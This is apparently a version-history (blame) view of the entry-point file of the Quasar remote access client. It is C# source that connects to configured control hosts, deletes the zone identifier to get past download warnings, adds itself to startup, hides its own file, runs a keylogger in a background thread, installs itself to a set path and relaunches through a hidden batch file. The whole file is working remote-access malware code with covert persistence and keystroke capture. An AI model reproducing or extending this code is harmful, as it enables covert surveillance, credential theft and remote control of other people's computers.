Quasar/Client/Program.cs

141 lines
4.4 KiB
C#
Raw Normal View History

2015-01-13 10:29:11 -08:00
using System;
using System.Diagnostics;
2014-07-08 05:58:53 -07:00
using System.IO;
using System.Threading;
using System.Windows.Forms;
2015-01-13 10:29:11 -08:00
using xClient.Config;
using xClient.Core.Commands;
2015-09-01 06:16:27 -07:00
using xClient.Core.Cryptography;
using xClient.Core.Data;
2015-07-26 07:44:03 -07:00
using xClient.Core.Helper;
using xClient.Core.Installation;
using xClient.Core.Networking;
2015-07-26 10:36:11 -07:00
using xClient.Core.Utilities;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
namespace xClient
2014-07-08 05:58:53 -07:00
{
internal static class Program
2014-07-08 05:58:53 -07:00
{
2015-09-09 13:18:50 -07:00
public static QuasarClient ConnectClient;
private static ApplicationContext _msgLoop;
2014-07-08 05:58:53 -07:00
2015-01-13 10:29:11 -08:00
[STAThread]
private static void Main(string[] args)
2014-07-08 05:58:53 -07:00
{
2015-01-13 10:29:11 -08:00
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
2015-09-05 13:25:57 -07:00
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
2015-03-17 09:22:42 -07:00
2015-09-09 13:18:50 -07:00
if (Settings.Initialize())
{
2015-09-10 13:21:43 -07:00
if (Initialize())
{
if (!QuasarClient.Exiting)
ConnectClient.Connect();
}
2015-09-09 13:18:50 -07:00
}
2014-07-08 05:58:53 -07:00
2015-03-17 09:22:42 -07:00
Cleanup();
2015-09-09 13:18:50 -07:00
Exit();
}
private static void Exit()
{
// Don't wait for other threads
if (_msgLoop != null || Application.MessageLoop)
Application.Exit();
else
Environment.Exit(0);
2015-03-17 09:22:42 -07:00
}
2015-09-05 13:25:57 -07:00
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
{
if (e.IsTerminating)
{
string batchFile = FileHelper.CreateRestartBatch();
if (string.IsNullOrEmpty(batchFile)) return;
ProcessStartInfo startInfo = new ProcessStartInfo
{
WindowStyle = ProcessWindowStyle.Hidden,
UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
2015-09-09 13:18:50 -07:00
Exit();
2015-09-05 13:25:57 -07:00
}
}
2015-03-17 09:22:42 -07:00
private static void Cleanup()
{
2015-01-13 10:29:11 -08:00
CommandHandler.CloseShell();
if (CommandHandler.StreamCodec != null)
CommandHandler.StreamCodec.Dispose();
2015-07-26 10:36:11 -07:00
if (Keylogger.Instance != null)
Keylogger.Instance.Dispose();
2015-05-23 05:24:31 -07:00
if (_msgLoop != null)
2015-09-09 13:18:50 -07:00
{
2015-05-23 05:24:31 -07:00
_msgLoop.ExitThread();
_msgLoop.Dispose();
2015-09-09 13:18:50 -07:00
_msgLoop = null;
}
MutexHelper.CloseMutex();
2014-07-08 05:58:53 -07:00
}
2015-09-10 13:21:43 -07:00
private static bool Initialize()
2014-07-08 05:58:53 -07:00
{
2015-09-09 13:18:50 -07:00
var hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
2015-09-05 13:25:57 -07:00
// process with same mutex is already running
2015-09-09 13:18:50 -07:00
if (!MutexHelper.CreateMutex(Settings.MUTEX) || hosts.IsEmpty || string.IsNullOrEmpty(Settings.VERSION)) // no hosts to connect
2015-09-10 13:21:43 -07:00
return false;
2014-07-08 05:58:53 -07:00
2015-09-18 12:22:29 -07:00
AES.SetDefaultKey(Settings.PASSWORD);
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
2015-07-26 07:44:03 -07:00
GeoLocationHelper.Initialize();
2015-09-05 13:25:57 -07:00
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
{
WindowsAccountHelper.StartUserIdleCheckThread();
2014-07-08 05:58:53 -07:00
2015-09-06 07:17:21 -07:00
if (Settings.STARTUP)
{
if (!Startup.AddToStartup())
ClientData.AddToStartupFailed = true;
}
2015-09-06 07:25:21 -07:00
if (Settings.INSTALL && Settings.HIDEFILE)
{
try
{
2015-09-06 07:27:52 -07:00
File.SetAttributes(ClientData.CurrentPath, FileAttributes.Hidden);
2015-09-06 07:25:21 -07:00
}
catch (Exception)
{
}
}
2015-05-01 05:50:38 -07:00
if (Settings.ENABLELOGGER)
{
new Thread(() =>
{
_msgLoop = new ApplicationContext();
2015-07-26 10:36:11 -07:00
Keylogger logger = new Keylogger(15000);
Application.Run(_msgLoop);
2015-09-09 13:18:50 -07:00
}) {IsBackground = true}.Start();
2015-05-01 05:50:38 -07:00
}
2015-09-09 13:18:50 -07:00
ConnectClient = new QuasarClient(hosts);
2015-09-10 13:21:43 -07:00
return true;
2015-01-13 10:29:11 -08:00
}
else
{
MutexHelper.CloseMutex();
ClientInstaller.Install(ConnectClient);
2015-09-10 13:21:43 -07:00
return false;
2015-01-13 10:29:11 -08:00
}
}
2014-07-08 05:58:53 -07:00
}
2015-01-13 10:29:11 -08:00
}